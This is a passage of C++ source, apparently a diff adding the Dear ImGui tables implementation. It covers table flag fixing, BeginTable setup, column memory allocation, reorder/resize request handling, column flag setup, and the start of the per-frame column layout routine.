(e.g. via the context menu, or _DefaultHide column flag, etc.). +// +// [A] [B] [C] +// TableNextColumn(): true false false -> [userland] when TableNextColumn() / TableSetColumnIndex() return false, user can skip submitting items but only if the column doesn't contribute to row height. +// SkipItems: false false true -> [internal] when SkipItems is true, most widgets will early out if submitted, resulting is no layout output. +// ClipRect: normal zero-width zero-width -> [internal] when ClipRect is zero, ItemAdd() will return false and most widgets will early out mid-way. +// ImDrawList output: normal dummy dummy -> [internal] when using the dummy channel, ImDrawList submissions (if any) will be wasted (because cliprect is zero-width anyway). +// +// - We need distinguish those cases because non-hidden columns that are clipped outside of scrolling bounds should still contribute their height to the row. +// However, in the majority of cases, the contribution to row height is the same for all columns, or the tallest cells are known by the programmer. +//----------------------------------------------------------------------------- +// About clipping/culling of whole Tables: +// - Scrolling tables with a known outer size can be clipped earlier as BeginTable() will return false. +//----------------------------------------------------------------------------- + +#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS) +#define _CRT_SECURE_NO_WARNINGS +#endif + +#include "imgui.h" +#ifndef IMGUI_DISABLE + +#ifndef IMGUI_DEFINE_MATH_OPERATORS +#define IMGUI_DEFINE_MATH_OPERATORS +#endif +#include "imgui_internal.h" + +// System includes +#if defined(_MSC_VER) && _MSC_VER <= 1500 // MSVC 2008 or earlier +#include // intptr_t +#else +#include // intptr_t +#endif + +//------------------------------------------------------------------------- +// Warnings +//------------------------------------------------------------------------- + +// Visual Studio warnings +#ifdef _MSC_VER +#pragma warning (disable: 4127) // condition expression is constant +#pragma warning (disable: 4996) // 'This function or variable may be unsafe': strcpy, strdup, sprintf, vsnprintf, sscanf, fopen +#if defined(_MSC_VER) && _MSC_VER >= 1922 // MSVC 2019 16.2 or later +#pragma warning (disable: 5054) // operator '|': deprecated between enumerations of different types +#endif +#endif + +// Clang/GCC warnings with -Weverything +#if defined(__clang__) +#if __has_warning("-Wunknown-warning-option") +#pragma clang diagnostic ignored "-Wunknown-warning-option" // warning: unknown warning group 'xxx' // not all warnings are known by all Clang versions and they tend to be rename-happy.. so ignoring warnings triggers new warnings on some configuration. Great! +#endif +#pragma clang diagnostic ignored "-Wunknown-pragmas" // warning: unknown warning group 'xxx' +#pragma clang diagnostic ignored "-Wold-style-cast" // warning: use of old-style cast // yes, they are more terse. +#pragma clang diagnostic ignored "-Wfloat-equal" // warning: comparing floating point with == or != is unsafe // storing and comparing against same constants (typically 0.0f) is ok. +#pragma clang diagnostic ignored "-Wformat-nonliteral" // warning: format string is not a string literal // passing non-literal to vsnformat(). yes, user passing incorrect format strings can crash the code. +#pragma clang diagnostic ignored "-Wsign-conversion" // warning: implicit conversion changes signedness +#pragma clang diagnostic ignored "-Wzero-as-null-pointer-constant" // warning: zero as null pointer constant // some standard header variations use #define NULL 0 +#pragma clang diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function // using printf() is a misery with this as C++ va_arg ellipsis changes float to double. +#pragma clang diagnostic ignored "-Wenum-enum-conversion" // warning: bitwise operation between different enumeration types ('XXXFlags_' and 'XXXFlagsPrivate_') +#pragma clang diagnostic ignored "-Wdeprecated-enum-enum-conversion"// warning: bitwise operation between different enumeration types ('XXXFlags_' and 'XXXFlagsPrivate_') is deprecated +#pragma clang diagnostic ignored "-Wimplicit-int-float-conversion" // warning: implicit conversion from 'xxx' to 'float' may lose precision +#elif defined(__GNUC__) +#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind +#pragma GCC diagnostic ignored "-Wformat-nonliteral" // warning: format not a string literal, format string not checked +#pragma GCC diagnostic ignored "-Wclass-memaccess" // [__GNUC__ >= 8] warning: 'memset/memcpy' clearing/writing an object of type 'xxxx' with no trivial copy-assignment; use assignment or value-initialization instead +#endif + +//----------------------------------------------------------------------------- +// [SECTION] Tables: Main code +//----------------------------------------------------------------------------- + +// Configuration +static const int TABLE_DRAW_CHANNEL_BG0 = 0; +static const int TABLE_DRAW_CHANNEL_BG2_FROZEN = 1; +static const int TABLE_DRAW_CHANNEL_NOCLIP = 2; // When using ImGuiTableFlags_NoClip (this becomes the last visible channel) +static const float TABLE_BORDER_SIZE = 1.0f; // FIXME-TABLE: Currently hard-coded because of clipping assumptions with outer borders rendering. +static const float TABLE_RESIZE_SEPARATOR_HALF_THICKNESS = 4.0f; // Extend outside inner borders. +static const float TABLE_RESIZE_SEPARATOR_FEEDBACK_TIMER = 0.06f; // Delay/timer before making the hover feedback (color+cursor) visible because tables/columns tends to be more cramped. + +// Helper +inline ImGuiTableFlags TableFixFlags(ImGuiTableFlags flags, ImGuiWindow* outer_window) +{ + // Adjust flags: set default sizing policy + if ((flags & (ImGuiTableFlags_SizingPolicyStretch | ImGuiTableFlags_SizingPolicyFixed)) == 0) + flags |= ((flags & ImGuiTableFlags_ScrollX) || (outer_window->Flags & ImGuiWindowFlags_AlwaysAutoResize)) ? ImGuiTableFlags_SizingPolicyFixed : ImGuiTableFlags_SizingPolicyStretch; + + // Adjust flags: disable Resizable when using SameWidths (done above enforcing BordersInnerV) + if (flags & ImGuiTableFlags_SameWidths) + flags = (flags & ~ImGuiTableFlags_Resizable) | ImGuiTableFlags_NoKeepColumnsVisible; + + // Adjust flags: enforce borders when resizable + if (flags & ImGuiTableFlags_Resizable) + flags |= ImGuiTableFlags_BordersInnerV; + + // Adjust flags: disable NoHostExtendY if we have any scrolling going on + if ((flags & ImGuiTableFlags_NoHostExtendY) && (flags & (ImGuiTableFlags_ScrollX | ImGuiTableFlags_ScrollY)) != 0) + flags &= ~ImGuiTableFlags_NoHostExtendY; + + // Adjust flags: NoBordersInBodyUntilResize takes priority over NoBordersInBody + if (flags & ImGuiTableFlags_NoBordersInBodyUntilResize) + flags &= ~ImGuiTableFlags_NoBordersInBody; + + // Adjust flags: disable saved settings if there's nothing to save + if ((flags & (ImGuiTableFlags_Resizable | ImGuiTableFlags_Hideable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Sortable)) == 0) + flags |= ImGuiTableFlags_NoSavedSettings; + + // Inherit _NoSavedSettings from top-level window (child windows always have _NoSavedSettings set) +#ifdef IMGUI_HAS_DOCK + ImGuiWindow* window_for_settings = outer_window->RootWindowDockStop; +#else + ImGuiWindow* window_for_settings = outer_window->RootWindow; +#endif + if (window_for_settings->Flags & ImGuiWindowFlags_NoSavedSettings) + flags |= ImGuiTableFlags_NoSavedSettings; + + return flags; +} + +ImGuiTable* ImGui::TableFindByID(ImGuiID id) +{ + ImGuiContext& g = *GImGui; + return g.Tables.GetByKey(id); +} + +// Read about "TABLE SIZING" at the top of this file. +bool ImGui::BeginTable(const char* str_id, int columns_count, ImGuiTableFlags flags, const ImVec2& outer_size, float inner_width) +{ + ImGuiID id = GetID(str_id); + return BeginTableEx(str_id, id, columns_count, flags, outer_size, inner_width); +} + +bool ImGui::BeginTableEx(const char* name, ImGuiID id, int columns_count, ImGuiTableFlags flags, const ImVec2& outer_size, float inner_width) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* outer_window = GetCurrentWindow(); + if (outer_window->SkipItems) // Consistent with other tables + beneficial side effect that assert on miscalling EndTable() will be more visible. + return false; + + // Sanity checks + IM_ASSERT(columns_count > 0 && columns_count <= IMGUI_TABLE_MAX_COLUMNS && "Only 1..64 columns allowed!"); + if (flags & ImGuiTableFlags_ScrollX) + IM_ASSERT(inner_width >= 0.0f); + + // If an outer size is specified ahead we will be able to early out when not visible. Exact clipping rules may evolve. + const bool use_child_window = (flags & (ImGuiTableFlags_ScrollX | ImGuiTableFlags_ScrollY)) != 0; + const ImVec2 avail_size = GetContentRegionAvail(); + ImVec2 actual_outer_size = CalcItemSize(outer_size, ImMax(avail_size.x, 1.0f), use_child_window ? ImMax(avail_size.y, 1.0f) : 0.0f); + ImRect outer_rect(outer_window->DC.CursorPos, outer_window->DC.CursorPos + actual_outer_size); + if (use_child_window && IsClippedEx(outer_rect, 0, false)) + { + ItemSize(outer_rect); + return false; + } + + // Acquire storage for the table + ImGuiTable* table = g.Tables.GetOrAddByKey(id); + const int instance_no = (table->LastFrameActive != g.FrameCount) ? 0 : table->InstanceCurrent + 1; + const ImGuiID instance_id = id + instance_no; + const ImGuiTableFlags table_last_flags = table->Flags; + if (instance_no > 0) + IM_ASSERT(table->ColumnsCount == columns_count && "BeginTable(): Cannot change columns count mid-frame while preserving same ID"); + + // Fix flags + flags = TableFixFlags(flags, outer_window); + + // Initialize + table->ID = id; + table->Flags = flags; + table->InstanceCurrent = (ImS16)instance_no; + table->LastFrameActive = g.FrameCount; + table->OuterWindow = table->InnerWindow = outer_window; + table->ColumnsCount = columns_count; + table->IsLayoutLocked = false; + table->InnerWidth = inner_width; + table->IsOuterRectAutoFitX = (outer_size.x == 0.0f) && (use_child_window == false); + + // When not using a child window, WorkRect.Max will grow as we append contents. + if (use_child_window) + { + // Ensure no vertical scrollbar appears if we only want horizontal one, to make flag consistent + // (we have no other way to disable vertical scrollbar of a window while keeping the horizontal one showing) + ImVec2 override_content_size(FLT_MAX, FLT_MAX); + if ((flags & ImGuiTableFlags_ScrollX) && !(flags & ImGuiTableFlags_ScrollY)) + override_content_size.y = FLT_MIN; + + // Ensure specified width (when not specified, Stretched columns will act as if the width == OuterWidth and + // never lead to any scrolling). We don't handle inner_width < 0.0f, we could potentially use it to right-align + // based on the right side of the child window work rect, which would require knowing ahead if we are going to + // have decoration taking horizontal spaces (typically a vertical scrollbar). + if ((flags & ImGuiTableFlags_ScrollX) && inner_width > 0.0f) + override_content_size.x = inner_width; + + if (override_content_size.x != FLT_MAX || override_content_size.y != FLT_MAX) + SetNextWindowContentSize(ImVec2(override_content_size.x != FLT_MAX ? override_content_size.x : 0.0f, override_content_size.y != FLT_MAX ? override_content_size.y : 0.0f)); + + // Create scrolling region (without border and zero window padding) + ImGuiWindowFlags child_flags = (flags & ImGuiTableFlags_ScrollX) ? ImGuiWindowFlags_HorizontalScrollbar : ImGuiWindowFlags_None; + BeginChildEx(name, instance_id, outer_rect.GetSize(), false, child_flags); + table->InnerWindow = g.CurrentWindow; + table->WorkRect = table->InnerWindow->WorkRect; + table->OuterRect = table->InnerWindow->Rect(); + table->InnerRect = table->InnerWindow->InnerRect; + IM_ASSERT(table->InnerWindow->WindowPadding.x == 0.0f && table->InnerWindow->WindowPadding.y == 0.0f && table->InnerWindow->WindowBorderSize == 0.0f); + } + else + { + // For non-scrolling tables, WorkRect == OuterRect == InnerRect. + // But at this point we do NOT have a correct value for .Max.y (unless a height has been explicitly passed in). It will only be updated in EndTable(). + table->WorkRect = table->OuterRect = table->InnerRect = outer_rect; + } + + // Push a standardized ID for both child-using and not-child-using tables + PushOverrideID(instance_id); + + // Backup a copy of host window members we will modify + ImGuiWindow* inner_window = table->InnerWindow; + table->HostIndentX = inner_window->DC.Indent.x; + table->HostClipRect = inner_window->ClipRect; + table->HostSkipItems = inner_window->SkipItems; + table->HostBackupWorkRect = inner_window->WorkRect; + table->HostBackupParentWorkRect = inner_window->ParentWorkRect; + table->HostBackupColumnsOffset = outer_window->DC.ColumnsOffset; + table->HostBackupPrevLineSize = inner_window->DC.PrevLineSize; + table->HostBackupCurrLineSize = inner_window->DC.CurrLineSize; + table->HostBackupCursorMaxPos = inner_window->DC.CursorMaxPos; + table->HostBackupItemWidth = outer_window->DC.ItemWidth; + table->HostBackupItemWidthStackSize = outer_window->DC.ItemWidthStack.Size; + inner_window->DC.PrevLineSize = inner_window->DC.CurrLineSize = ImVec2(0.0f, 0.0f); + + // Padding and Spacing + // - None ........Content..... Pad .....Content........ + // - PadOuter | Pad ..Content..... Pad .....Content.. Pad | + // - PadInner ........Content.. Pad | Pad ..Content........ + // - PadOuter+PadInner | Pad ..Content.. Pad | Pad ..Content.. Pad | + const bool pad_outer_x = (flags & ImGuiTableFlags_NoPadOuterX) ? false : (flags & ImGuiTableFlags_PadOuterX) ? true : (flags & ImGuiTableFlags_BordersOuterV) != 0; + const bool pad_inner_x = (flags & ImGuiTableFlags_NoPadInnerX) ? false : true; + const float inner_spacing_for_border = (flags & ImGuiTableFlags_BordersInnerV) ? TABLE_BORDER_SIZE : 0.0f; + const float inner_spacing_explicit = (pad_inner_x && (flags & ImGuiTableFlags_BordersInnerV) == 0) ? g.Style.CellPadding.x : 0.0f; + const float inner_padding_explicit = (pad_inner_x && (flags & ImGuiTableFlags_BordersInnerV) != 0) ? g.Style.CellPadding.x : 0.0f; + table->CellSpacingX1 = inner_spacing_explicit + inner_spacing_for_border; + table->CellSpacingX2 = inner_spacing_explicit; + table->CellPaddingX = inner_padding_explicit; + table->CellPaddingY = g.Style.CellPadding.y; + + const float outer_padding_for_border = (flags & ImGuiTableFlags_BordersOuterV) ? TABLE_BORDER_SIZE : 0.0f; + const float outer_padding_explicit = pad_outer_x ? g.Style.CellPadding.x : 0.0f; + table->OuterPaddingX = (outer_padding_for_border + outer_padding_explicit) - table->CellPaddingX; + + table->CurrentColumn = -1; + table->CurrentRow = -1; + table->RowBgColorCounter = 0; + table->LastRowFlags = ImGuiTableRowFlags_None; + table->InnerClipRect = (inner_window == outer_window) ? table->WorkRect : inner_window->ClipRect; + table->InnerClipRect.ClipWith(table->WorkRect); // We need this to honor inner_width + table->InnerClipRect.ClipWithFull(table->HostClipRect); + table->InnerClipRect.Max.y = (flags & ImGuiTableFlags_NoHostExtendY) ? ImMin(table->InnerClipRect.Max.y, inner_window->WorkRect.Max.y) : inner_window->ClipRect.Max.y; + + table->RowPosY1 = table->RowPosY2 = table->WorkRect.Min.y; // This is needed somehow + table->RowTextBaseline = 0.0f; // This will be cleared again by TableBeginRow() + table->FreezeRowsRequest = table->FreezeRowsCount = 0; // This will be setup by TableSetupScrollFreeze(), if any + table->FreezeColumnsRequest = table->FreezeColumnsCount = 0; + table->IsUnfrozen = true; + table->DeclColumnsCount = 0; + + // Using opaque colors facilitate overlapping elements of the grid + table->BorderColorStrong = GetColorU32(ImGuiCol_TableBorderStrong); + table->BorderColorLight = GetColorU32(ImGuiCol_TableBorderLight); + + // Make table current + const int table_idx = g.Tables.GetIndex(table); + g.CurrentTableStack.push_back(ImGuiPtrOrIndex(table_idx)); + g.CurrentTable = table; + outer_window->DC.CurrentTableIdx = table_idx; + if (inner_window != outer_window) // So EndChild() within the inner window can restore the table properly. + inner_window->DC.CurrentTableIdx = table_idx; + + if ((table_last_flags & ImGuiTableFlags_Reorderable) && (flags & ImGuiTableFlags_Reorderable) == 0) + table->IsResetDisplayOrderRequest = true; + + // Mark as used + if (table_idx >= g.TablesLastTimeActive.Size) + g.TablesLastTimeActive.resize(table_idx + 1, -1.0f); + g.TablesLastTimeActive[table_idx] = (float)g.Time; + table->MemoryCompacted = false; + + // Setup memory buffer (clear data if columns count changed) + const int stored_size = table->Columns.size(); + if (stored_size != 0 && stored_size != columns_count) + { + IM_FREE(table->RawData); + table->RawData = NULL; + } + if (table->RawData == NULL) + { + TableBeginInitMemory(table, columns_count); + table->IsInitializing = table->IsSettingsRequestLoad = true; + } + if (table->IsResetAllRequest) + TableResetSettings(table); + if (table->IsInitializing) + { + // Initialize + table->SettingsOffset = -1; + table->IsSortSpecsDirty = true; + table->InstanceInteracted = -1; + table->ContextPopupColumn = -1; + table->ReorderColumn = table->ResizedColumn = table->LastResizedColumn = -1; + table->AutoFitSingleStretchColumn = -1; + table->HoveredColumnBody = table->HoveredColumnBorder = -1; + for (int n = 0; n < columns_count; n++) + { + ImGuiTableColumn* column = &table->Columns[n]; + float width_auto = column->WidthAuto; + *column = ImGuiTableColumn(); + column->WidthAuto = width_auto; + column->IsPreserveWidthAuto = true; // Preserve WidthAuto when reinitializing a live table: not technically necessary but remove a visible flicker + column->DisplayOrder = table->DisplayOrderToIndex[n] = (ImGuiTableColumnIdx)n; + column->IsEnabled = column->IsEnabledNextFrame = true; + } + } + + // Load settings + if (table->IsSettingsRequestLoad) + TableLoadSettings(table); + + // Handle DPI/font resize + // This is designed to facilitate DPI changes with the assumption that e.g. style.CellPadding has been scaled as well. + // It will also react to changing fonts with mixed results. It doesn't need to be perfect but merely provide a decent transition. + // FIXME-DPI: Provide consistent standards for reference size. Perhaps using g.CurrentDpiScale would be more self explanatory. + // This is will lead us to non-rounded WidthRequest in columns, which should work but is a poorly tested path. + const float new_ref_scale_unit = g.FontSize; // g.Font->GetCharAdvance('A') ? + if (table->RefScale != 0.0f && table->RefScale != new_ref_scale_unit) + { + const float scale_factor = new_ref_scale_unit / table->RefScale; + //IMGUI_DEBUG_LOG("[table] %08X RefScaleUnit %.3f -> %.3f, scaling width by %.3f\n", table->ID, table->RefScaleUnit, new_ref_scale_unit, scale_factor); + for (int n = 0; n < columns_count; n++) + table->Columns[n].WidthRequest = table->Columns[n].WidthRequest * scale_factor; + } + table->RefScale = new_ref_scale_unit; + + // Disable output until user calls TableNextRow() or TableNextColumn() leading to the TableUpdateLayout() call.. + // This is not strictly necessary but will reduce cases were "out of table" output will be misleading to the user. + // Because we cannot safely assert in EndTable() when no rows have been created, this seems like our best option. + inner_window->SkipItems = true; + + // Clear names + // At this point the ->NameOffset field of each column will be invalid until TableUpdateLayout() or the first call to TableSetupColumn() + if (table->ColumnsNames.Buf.Size > 0) + table->ColumnsNames.Buf.resize(0); + + // Apply queued resizing/reordering/hiding requests + TableBeginApplyRequests(table); + + return true; +} + +// For reference, the average total _allocation count_ for a table is: +// + 0 (for ImGuiTable instance, we are pooling allocations in g.Tables) +// + 1 (for table->RawData allocated below) +// + 1 (for table->ColumnsNames, if names are used) +// + 1 (for table->Splitter._Channels) +// + 2 * active_channels_count (for ImDrawCmd and ImDrawIdx buffers inside channels) +// Where active_channels_count is variable but often == columns_count or columns_count + 1, see TableSetupDrawChannels() for details. +// Unused channels don't perform their +2 allocations. +void ImGui::TableBeginInitMemory(ImGuiTable* table, int columns_count) +{ + // Allocate single buffer for our arrays + ImSpanAllocator<3> span_allocator; + span_allocator.ReserveBytes(0, columns_count * sizeof(ImGuiTableColumn)); + span_allocator.ReserveBytes(1, columns_count * sizeof(ImGuiTableColumnIdx)); + span_allocator.ReserveBytes(2, columns_count * sizeof(ImGuiTableCellData)); + table->RawData = IM_ALLOC(span_allocator.GetArenaSizeInBytes()); + memset(table->RawData, 0, span_allocator.GetArenaSizeInBytes()); + span_allocator.SetArenaBasePtr(table->RawData); + span_allocator.GetSpan(0, &table->Columns); + span_allocator.GetSpan(1, &table->DisplayOrderToIndex); + span_allocator.GetSpan(2, &table->RowCellData); +} + +// Apply queued resizing/reordering/hiding requests +void ImGui::TableBeginApplyRequests(ImGuiTable* table) +{ + // Handle resizing request + // (We process this at the first TableBegin of the frame) + // FIXME-TABLE: Contains columns if our work area doesn't allow for scrolling? + if (table->InstanceCurrent == 0) + { + if (table->ResizedColumn != -1 && table->ResizedColumnNextWidth != FLT_MAX) + TableSetColumnWidth(table->ResizedColumn, table->ResizedColumnNextWidth); + table->LastResizedColumn = table->ResizedColumn; + table->ResizedColumnNextWidth = FLT_MAX; + table->ResizedColumn = -1; + + // Process auto-fit for single stretch column, which is a special case + // FIXME-TABLE: Would be nice to redistribute available stretch space accordingly to other weights, instead of giving it all to siblings. + if (table->AutoFitSingleStretchColumn != -1) + { + TableSetColumnWidth(table->AutoFitSingleStretchColumn, table->Columns[table->AutoFitSingleStretchColumn].WidthAuto); + table->AutoFitSingleStretchColumn = -1; + } + } + + // Handle reordering request + // Note: we don't clear ReorderColumn after handling the request. + if (table->InstanceCurrent == 0) + { + if (table->HeldHeaderColumn == -1 && table->ReorderColumn != -1) + table->ReorderColumn = -1; + table->HeldHeaderColumn = -1; + if (table->ReorderColumn != -1 && table->ReorderColumnDir != 0) + { + // We need to handle reordering across hidden columns. + // In the configuration below, moving C to the right of E will lead to: + // ... C [D] E ---> ... [D] E C (Column name/index) + // ... 2 3 4 ... 2 3 4 (Display order) + const int reorder_dir = table->ReorderColumnDir; + IM_ASSERT(reorder_dir == -1 || reorder_dir == +1); + IM_ASSERT(table->Flags & ImGuiTableFlags_Reorderable); + ImGuiTableColumn* src_column = &table->Columns[table->ReorderColumn]; + ImGuiTableColumn* dst_column = &table->Columns[(reorder_dir == -1) ? src_column->PrevEnabledColumn : src_column->NextEnabledColumn]; + IM_UNUSED(dst_column); + const int src_order = src_column->DisplayOrder; + const int dst_order = dst_column->DisplayOrder; + src_column->DisplayOrder = (ImGuiTableColumnIdx)dst_order; + for (int order_n = src_order + reorder_dir; order_n != dst_order + reorder_dir; order_n += reorder_dir) + table->Columns[table->DisplayOrderToIndex[order_n]].DisplayOrder -= (ImGuiTableColumnIdx)reorder_dir; + IM_ASSERT(dst_column->DisplayOrder == dst_order - reorder_dir); + + // Display order is stored in both columns->IndexDisplayOrder and table->DisplayOrder[], + // rebuild the later from the former. + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + table->DisplayOrderToIndex[table->Columns[column_n].DisplayOrder] = (ImGuiTableColumnIdx)column_n; + table->ReorderColumnDir = 0; + table->IsSettingsDirty = true; + } + } + + // Handle display order reset request + if (table->IsResetDisplayOrderRequest) + { + for (int n = 0; n < table->ColumnsCount; n++) + table->DisplayOrderToIndex[n] = table->Columns[n].DisplayOrder = (ImGuiTableColumnIdx)n; + table->IsResetDisplayOrderRequest = false; + table->IsSettingsDirty = true; + } +} + +// Adjust flags: default width mode + stretch columns are not allowed when auto extending +static void TableSetupColumnFlags(ImGuiTable* table, ImGuiTableColumn* column, ImGuiTableColumnFlags flags_in) +{ + ImGuiTableColumnFlags flags = flags_in; + + // Sizing Policy + if ((flags & ImGuiTableColumnFlags_WidthMask_) == 0) + { + // FIXME-TABLE: Inconsistent to promote columns to WidthAuto + if (table->Flags & ImGuiTableFlags_SizingPolicyFixed) + flags |= ((table->Flags & ImGuiTableFlags_Resizable) && !(flags & ImGuiTableColumnFlags_NoResize)) ? ImGuiTableColumnFlags_WidthFixed : ImGuiTableColumnFlags_WidthAuto; + else + flags |= ImGuiTableColumnFlags_WidthStretch; + } + IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiTableColumnFlags_WidthMask_)); // Check that only 1 of each set is used. + if (flags & ImGuiTableColumnFlags_WidthAuto) + flags |= ImGuiTableColumnFlags_NoResize; + + // Sorting + if ((flags & ImGuiTableColumnFlags_NoSortAscending) && (flags & ImGuiTableColumnFlags_NoSortDescending)) + flags |= ImGuiTableColumnFlags_NoSort; + + // Indentation + if ((flags & ImGuiTableColumnFlags_IndentMask_) == 0) + flags |= (table->Columns.index_from_ptr(column) == 0) ? ImGuiTableColumnFlags_IndentEnable : ImGuiTableColumnFlags_IndentDisable; + + // Alignment + //if ((flags & ImGuiTableColumnFlags_AlignMask_) == 0) + // flags |= ImGuiTableColumnFlags_AlignCenter; + //IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiTableColumnFlags_AlignMask_)); // Check that only 1 of each set is used. + + // Preserve status flags + column->Flags = flags | (column->Flags & ImGuiTableColumnFlags_StatusMask_); + + // Build an ordered list of available sort directions + column->SortDirectionsAvailCount = column->SortDirectionsAvailMask = column->SortDirectionsAvailList = 0; + if (table->Flags & ImGuiTableFlags_Sortable) + { + int count = 0, mask = 0, list = 0; + if ((flags & ImGuiTableColumnFlags_PreferSortAscending) != 0 && (flags & ImGuiTableColumnFlags_NoSortAscending) == 0) { mask |= 1 << ImGuiSortDirection_Ascending; list |= ImGuiSortDirection_Ascending << (count << 1); count++; } + if ((flags & ImGuiTableColumnFlags_PreferSortDescending) != 0 && (flags & ImGuiTableColumnFlags_NoSortDescending) == 0) { mask |= 1 << ImGuiSortDirection_Descending; list |= ImGuiSortDirection_Descending << (count << 1); count++; } + if ((flags & ImGuiTableColumnFlags_PreferSortAscending) == 0 && (flags & ImGuiTableColumnFlags_NoSortAscending) == 0) { mask |= 1 << ImGuiSortDirection_Ascending; list |= ImGuiSortDirection_Ascending << (count << 1); count++; } + if ((flags & ImGuiTableColumnFlags_PreferSortDescending) == 0 && (flags & ImGuiTableColumnFlags_NoSortDescending) == 0) { mask |= 1 << ImGuiSortDirection_Descending; list |= ImGuiSortDirection_Descending << (count << 1); count++; } + if ((table->Flags & ImGuiTableFlags_SortTristate) || count == 0) { mask |= 1 << ImGuiSortDirection_None; count++; } + column->SortDirectionsAvailList = (ImU8)list; + column->SortDirectionsAvailMask = (ImU8)mask; + column->SortDirectionsAvailCount = (ImU8)count; + ImGui::TableFixColumnSortDirection(table, column); + } +} + +// Layout columns for the frame. This is in essence the followup to BeginTable(). +// Runs on the first call to TableNextRow(), to give a chance for TableSetupColumn() to be called first. +// FIXME-TABLE: Our width (and therefore our WorkRect) will be minimal in the first frame for _WidthAuto columns. +// Increase feedback side-effect with widgets relying on WorkRect.Max.x... Maybe provide a default distribution for _WidthAuto columns? +void ImGui::TableUpdateLayout(ImGuiTable* table) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(table->IsLayoutLocked == false); + + table->IsDefaultDisplayOrder = true; + table->ColumnsEnabledCount = 0; + table->EnabledMaskByIndex = 0x00; + table->EnabledMaskByDisplayOrder = 0x00; + table->MinColumnWidth = ImMax(1.0f, g.Style.FramePadding.x * 1.0f); // g.Style.ColumnsMinSpacing; // FIXME-TABLE + + // [Part 1] Apply/lock Enabled and Order states. Calculate auto/ideal width for columns. + // Process columns in their visible orders as we are building the Prev/Next indices. + int last_visible_column_idx = -1; + bool want_auto_fit = false; + for (int order_n = 0; order_n < table->ColumnsCount; order_n++) + { + const int column_n = table->DisplayOrderToIndex[order_n]; + if (column_n != order_n) + table->IsDefaultDisplayOrder = false; + ImGuiTableColumn* column = &table->Columns[column_n]; + + // Clear column settings if not submitted by user. + // Currently we make it mandatory to call TableSetupColumn() every frame. + // It would easily work without but we're ready to guarantee it since e.g. names need resubmission anyway. + // In theory we could be calling TableSetupColumn() here with dummy values it should yield the same effect. + if (column_n >= table->DeclColumnsCount) + { + TableSetupColumnFlags(table, column, ImGuiTableColumnFlags_None); + column->NameOffset = -1; + column->UserID = 0; + column->InitStretchWeightOrWidth = -1.0f; + } + + if (!(table->Flags & ImGuiTableFlags_Hideable) || (column->Flags & ImGuiTableColumnFlags_NoHide)) + column->IsEnabledNextFrame = true; + if (column->IsEnabled != column->IsEnabledNextFrame) + { + column->IsEnabled = column->IsEnabledNextFrame; + table->IsSettingsDirty = true; + if (!column->IsEnabled && column->SortOrder != -1) + table->IsSortSpecsDirty = true; + } + if (column->SortOrder > 0 && !(table->Flags & ImGuiTableFlags_SortMulti)) + table->IsSortSpecsDirty = true; + + bool start_auto_fit = false; + if (column->Flags & (ImGuiTableColumnFlags_WidthFixed | ImGuiTableColumnFlags_WidthAuto)) + start_auto_fit = column->WidthRequest < 0.0f; + else + start_auto_fit = column->StretchWeight < 0.0f; + if (start_auto_fit) + column->AutoFitQueue = column->CannotSkipItemsQueue = (1 << 3) - 1; // Fit for three frames + + ImU64 index_mask = (ImU64)1 << column_n; + ImU64 display_order_mask = (ImU64)1 << column->DisplayOrder; + if (!column->IsEnabled) + { + column->IndexWithinEnabledSet = -1; + continue; + } + + // Mark as enabled and link to previous/next enabled column + column->PrevEnabledColumn = (ImGuiTableColumnIdx)last_visible_column_idx; + column->NextEnabledColumn = -1; + if (last_visible_column_idx != -1) + table->Columns[last_visible_column_idx].NextEnabledColumn = (ImGuiTableColumnIdx)column_n; + column->IndexWithinEnabledSet = table->ColumnsEnabledCount; + table->ColumnsEnabledCount++; + table->EnabledMaskByIndex |= index_mask; + table->EnabledMaskByDisplayOrder |= display_order_mask; + last_visible_column_idx = column_n; + IM_ASSERT(column->IndexWithinEnabledSet <= column->DisplayOrder); + + // Calculate ideal/auto column width (that's the width required for all contents to be visible without clipping) + // Combine width from regular rows + width from headers unless requested not to. + if (!column->IsPreserveWidthAuto) + column->WidthAuto = TableGetColumnWidthAuto(table, column); + + if (column->AutoFitQueue != 0x00) + want_auto_fit = true; + } + if ((table->Flags & ImGuiTableFlags_Sortable) && table->SortSpecsCount == 0 && !(table->Flags & ImGuiTableFlags_SortTristate)) + table->IsSortSpecsDirty = true; + table->RightMostEnabledColumn = (ImGuiTableColumnIdx)last_visible_column_idx; + IM_ASSERT(table->RightMostEnabledColumn >= 0); + + // [Part 2] Disable child window clipping while fitting columns. This is not strictly necessary but makes it possible + // to avoid the column fitting to wait until the first visible frame of the child container (may or not be a good thing). + // FIXME-TABLE: for always auto-resizing columns may not want to do that all the time. + if (want_auto_fit && table->OuterWindow != table->InnerWindow) + table->InnerWindow->SkipItems = false; + if (want_auto_fit) + table->IsSettingsDirty = true; + + // [Part 3] Fix column flags. Count how many fixed/stretch columns we have and sum of weights. + int count_fixed = 0; // Number of columns that have fixed sizing policy (not stretched sizing policy) (this is NOT the opposite of count_resizable!) + int count_resizable = 0; // Number of columns the user can resize (this is NOT the opposite of count_fixed!) + float sum_weights_stretched = 0.0f; // Sum of all weights for weighted columns. + float sum_width_fixed_requests = 0.0f; // Sum of all width for fixed and auto-resize columns, excluding width contributed by Stretch columns. + float max_width_auto = 0.0f; // Largest auto-width (used for SameWidths feature) + table->LeftMostStretchedColumn = table->RightMostStretchedColumn = -1; + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + { + if (!(table->EnabledMaskByIndex & ((ImU64)1 << column_n))) + continue; + ImGuiTableColumn* column = &table->Columns[column_n]; + + // Count resizable columns + if ((column->Flags & ImGuiTableColumnFlags_NoResize) == 0) + count_resizable++; + + if (column->Flags & (ImGuiTableColumnFlags_WidthFixed | ImGuiTableColumnFlags_WidthAuto)) + { + // Non-resizable columns keep their requested width + if ((column->Flags & ImGuiTableColumnFlags_WidthFixed) && column->InitStretchWeightOrWidth > 0.0f) + if (!(table->Flags & ImGuiTableFlags_Resizable) || (column->Flags & ImGuiTableColumnFlags_NoResize)) + 